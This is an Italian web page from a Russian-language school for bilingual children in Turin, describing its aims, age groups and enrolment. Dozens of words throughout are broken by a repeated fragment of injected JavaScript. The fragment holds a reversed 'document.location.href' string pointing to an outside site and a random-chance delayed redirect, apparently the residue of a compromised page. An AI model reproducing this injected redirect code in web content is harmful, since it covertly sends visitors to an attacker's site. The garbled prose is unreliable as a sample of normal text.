Nostri obiettivi
I nostri figli
“Vivono vicino a noi – figli russi, un piccolo popolo che non conosce la Russia… la via è unica, il libro russo. Se qualcuno tra gli adulti aiutasse questi ragazzi, in mezzo ad un’infinità di volumi, a sceglier quello giustobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, non vi sono lettobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tori più attenti e cari di loro.
… E forse l’ora meno sprecata del tempo libero di un emigrante, è quella nella quale, allontanandoci per un momentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dalle nostre discussioni planetarie a destra e sinistra, avviciniamo i nostri figli ad un vero libro russo. Voi vedrete un miracolo: il piccolo straniero Ivanov, che con difficoltà riesce a plasmare una frase nella sua lingua madre, ad improvvisoo, davanti ai nostri occhi diventa russo. Dove serve, qua, sorriderà con vivacità immediata e allegria, là – diventerà pensiero alla russa, e se farà una domanda, allora capirete da essa che ha coltobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to proprio quel senso che lo scrittobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore si aspettava…
… E voi, sforzandovi nel ricordare e rispondere alle loro avide domande, con gratitudine ricostruirete trattobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dopo trattobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to quel quadro sfocatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to e immenso che è la Russia…“
Queste righe, scritte nel periodo dell’emigrazione post-rivoluzionaria, appartengono a Sasha Cherny (1880-1932), scrittobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore e poeta satirico, autobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore di numerose poesie per ragazzi. Ma, scrittobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to così tanti anni fa, tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tocca anche noi oggi, che viviamo già in nuovo secolo, in tutt’altre condizioni e possibilità, con internet, la televisione, e la libertà di viaggiare verso qualunque parte del mondo.
Come possiamo conservare, insegnare, trasmettere la lingua russa ai nostri figli? Serve loro, qua, in Italia o se ne può fare a meno?
Queste domande se pongono molti genitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tori. Il russo è una delle lingue più parlate al mondo, per 180 milioni di persone rappresenta la lingua madre e per altre 120 milioni è la seconda lingua. Da alcuni anni i rapporti commerciali e culturali tra l’Italia e la Russia sono un fenomeno in continua crescita e parlare russo rappresenta oggi un elementobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to chiave e talvolta determinante per inserirsi nel mondo del lavoro.
I ragazzi nati e cresciuti nelle famiglie miste oppure arrivati in Italia da piccoli, sono o diventano potenziali portatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tori di due lingue madri e questobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to è il loro incredibile privilegio. Ma in seguitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dipenderà tuttobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dai genitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tori, se vorranno cogliere tale opportunità oppure perderla per indifferenza verso il futuro dei propri figli o semplicemente per pigrizia e gli impegni quotidiani
Quando è necessario iniziare lo studio della lingua russa?
Le ultime ricerche confermano che periodici “full immersion” dei bambini (fino a 3/5 anni) nell’ambiente di un’altra lingua, facilita in futuro l’apprendimentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to delle lingue straniere. Anche per questobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to motivo nella nostra scuola per la prima volta abbiamo creatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to il gruppo “KROKHA” per bimbi da 1,5 a 3 anni. Il programma prevede musica, cantobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, attività motobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torie, primi suoni e parole in russo, giochi per lo sviluppo intellettuale e della memoria.
Secondo lo studio del gruppo di Andrea Mechelli, l’insegnamentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to precoce della lingua straniera contribuisce allo sviluppo di quella parte del cervello che risponde all’agilità del linguaggio. Secondo gli scienziati, tale risultatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to è più evidente se si intraprende lo studio della seconda lingua prima dei 5 anni di età del bambino. Più piccolo è il bambino e più ha la possibilità di imparare la seconda lingua.
Alla nostra scuola l’insegnamentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to della lingua russa inizia a 3 anni nelle classi della scuola materna. Successivamente i bimbi passano nella classe di prescuola, e proseguono poi all’età di 7/8 anni nella 1 classe della scuola elementare. I programmi dello studio, oltre all’insegnamentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to della lingua russa, sono indirizzati allo sviluppo creativo e intellettuale del bambino. Si insegna la lingua russa anche attraverso la musica, il cantobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, la pittura ed il teatro.
A cosa serve la lingua russa ai nostri figli ?
Si sa che i bambini cresciuti sottobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to l’influenza delle due culture spesso studiano meglio a scuola, apprendono meglio le materie astratte, la letteratura e altre lingue straniere, hanno un orizzonte allargatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to e la loro integrazione avviene più facilmente in qualsiasi ambiente straniero, grazie alla loro capacità di comunicare con gente diversa in situazioni diverse. Il bilinguismo influisce positivamente sulla memoria, lo studio, la reattività, la logica e le capacità matematiche. La seconda lingua è uno strumentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to di lavoro che aiuta nella ricerca del postobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to di lavoro e permette di avere una retribuzione adeguata in futuro ed una vita intensa ed interessante.
Potranno essere bilingui i ragazzi che con ritardo iniziano lo studio della lingua russa ?
Lo studio della lingua diventa più facile se si inizia il prima possibile. Ci sono motivi biologici che spiegano il perché solo una piccola parte degli adulti riescono parlare una lingua straniera senza accentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to. E’ necessario iniziare prima per avere risultati migliori. Ma l’esperienza dimostra che se esiste il desiderio di imparare, alla nostra scuola con il metobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}todo appositamente elaboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to e con la costanza nello studio, nonché l’aiutobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to del genitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore che conosce la lingua, i risultati saranno evidenti. Questi ragazzi iniziano a parlare, leggere e scrivere in russo.
Il Centro studi creativo bilingue di russo “AZBUKA” funziona dal 2003 presso la Comunità Russa di Torino con il sostegno della Unione Internazionale dei Connazionali russi all’Estero e Consolatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Generale Russo di Milano. I nostri insegnanti sono tutti laureati in pedagogia, con significative esperienze professionali e lo staff di docenti include anche un logopedista russo. Vengono impiegate nuove metobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}todologie di insegnamentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to specifiche per i bambini bilingui e gli insegnanti si aggiornano continuamente attraverso corsi specialistici. I programmi di studio sono basati su kit di manuali sperimentali che sono stati elaborati appositamente per l’insegnamentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to della lingua russa ai bambini bilingui all’estero.
Durante l’anno scolastico presso la scuola si organizzano concerti, visite dei musei e mostre a Torino. Si organizzano saggi e feste per Natale, Masleniza, 8 marzo e il Concertobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to di fine anno scolastico.
SONO APERTE ISCRIZIONI ANNO SCOLASTICO 2013/2014
Lezioni si svolgono ogni sabatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dalle 9.30 – alle 12.40 e dalle 15.00 – alle 18.30